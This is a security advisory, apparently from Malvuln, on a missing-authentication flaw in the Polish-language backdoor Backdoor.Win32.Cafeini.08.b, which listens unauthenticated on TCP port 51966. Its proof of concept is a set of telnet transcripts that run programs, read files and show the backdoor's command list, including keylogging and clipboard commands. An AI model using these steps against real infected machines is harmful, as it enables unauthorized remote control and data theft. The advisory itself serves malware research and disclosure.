Authored by malvuln | Site malvuln.com

Backdoor.Win32.Cafeini.08.b malware suffers from a missing authentication vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8225bb6b430d5cdf523c4d0cabbe5793.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.08.b
Vulnerability: Missing Authentication
Description: The backdoor is written in Polish and listens on TCP port 51966, anyone who can reach the infected system can telnet in and execute any commands leading to malware compromise.
Type: PE32
MD5: 8225bb6b430d5cdf523c4d0cabbe5793
Vuln ID: MVID-2021-0086
Dropped files:
Disclosure: 02/12/2021


Exploit/PoC:
1) Try execute calc.exe we get error in Polish.

C:Windows>EEXXEECC ccaalclc
STATUS: nie moge uruchomic programu

Translated from polish "I cannot run the program"

But given the full path it works.

C:Windows>EEXXEECC cc::WWiindnodwowsssyssytsetemm3322ccaallcc.e.exxee
STATUS: program uruchomiony

Translated "program running"

2) Read files.

C:UsersvictimDesktop>ttyyppee WWiinndodwowsssyssytsetemm..iinini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv

3) See help menu.

C:>hehlelpp
BYE lub LOGOUT lub QUIT lub EXIT - wyjscie
DIE - zabij serwer (usun z pamieci)
HELPCONF- opis komend sluzacych konfiguracji serwera: AUTOFTPD,AUTOKILL,
AUTOMAIL,EMAIL,FTPD,NAME,PASSWD,PORT,PROXY,SMPT.
HELPDOS - opis komend w rodzaju MS-DOS/Linux: CAT,CD,CHDIR,CMD,CMDV,COPY,
DATE,DEL,DIR,DRIVES,ECHO,ENV,ERASE,INFO,KILL,LS,MAIL,MEMORY,MKDIR,
MOVE,PS,RENAME,RMDIR,SET,SYSINFO,TELNET,TIME,TYPE,VER.
HELPFUN - opis komend sluzacych zabawie: ANNOY,ANNOYCD,ANNOYMONITOR,CLOSECD,
ERRORMSG,EXEC,EXECU,FILLDISK,FILLMEM,FREEZE,GETALLMEM,LOGOFF,MESSAGE,
MONITOR,OPEN,OPENCD,OPENMAIL,OPENWWW,QUESTION,READCLIP,SAVER,
SCREENSAVER,SHUTDOWN,STOPALL,TASKMANAGER,VOLUME,WRITECLIP.
HELPKEY - opis komend sterujacych klawiatura: KEYBOARDBEEP,LOGGEDCLEAR,
LOGGEDKEYS,SENDKEYS,SENDLINE
HELPMOUSE-opis komend sterujacych myszka i dzwiekiem: AUTOBEEP,BEEP,
AUTOSPEAKERBEEP,CURSORFREEZE,CURSORLINE,CURSORPOS,CURSORQUAKE,
CLIPLU,CLIPRD,CLIPRESET,CURSORUNFREEZE,MOUSESWAP,STOP,STOPALL.
HELPSCR - opis komend sluzacych zabawie z ekranem (desktop): BLACKWHITE,
DUMPSCREEN,DUMPSMALLSCREEN,FLYINGBALLS,MATRIX,RESOLUTION,
SETWALLPAPER,UNRESOLUTION and SCREEN: BLUR,COLOR,DARKER,INVERT,
MOVEX,MOVEY,NORMAL,ROLLX,ROLLY,STOP,XREVERSE,YREVERSE,ZOOM.
HELPWIN - opis komend do operacji na oknach (wszystkie zaczynaja sie od WIN):
AUTOMESS,FOCUS,HIDE,HIDEALL,HIDESTART,HIDETASKBAR,INVERT,KILL,LIST,
KILLMICROSOFT,LISTALL,MAXIMIZE,MESS,MINIMIZE,NAME,PINGPONG,POS,QUAKE,
RESIZE,SHOW,SHOWALL,SHOWSTART,SHOWTASKBAR,SHRINK,STOP,TOP,UNTOP.


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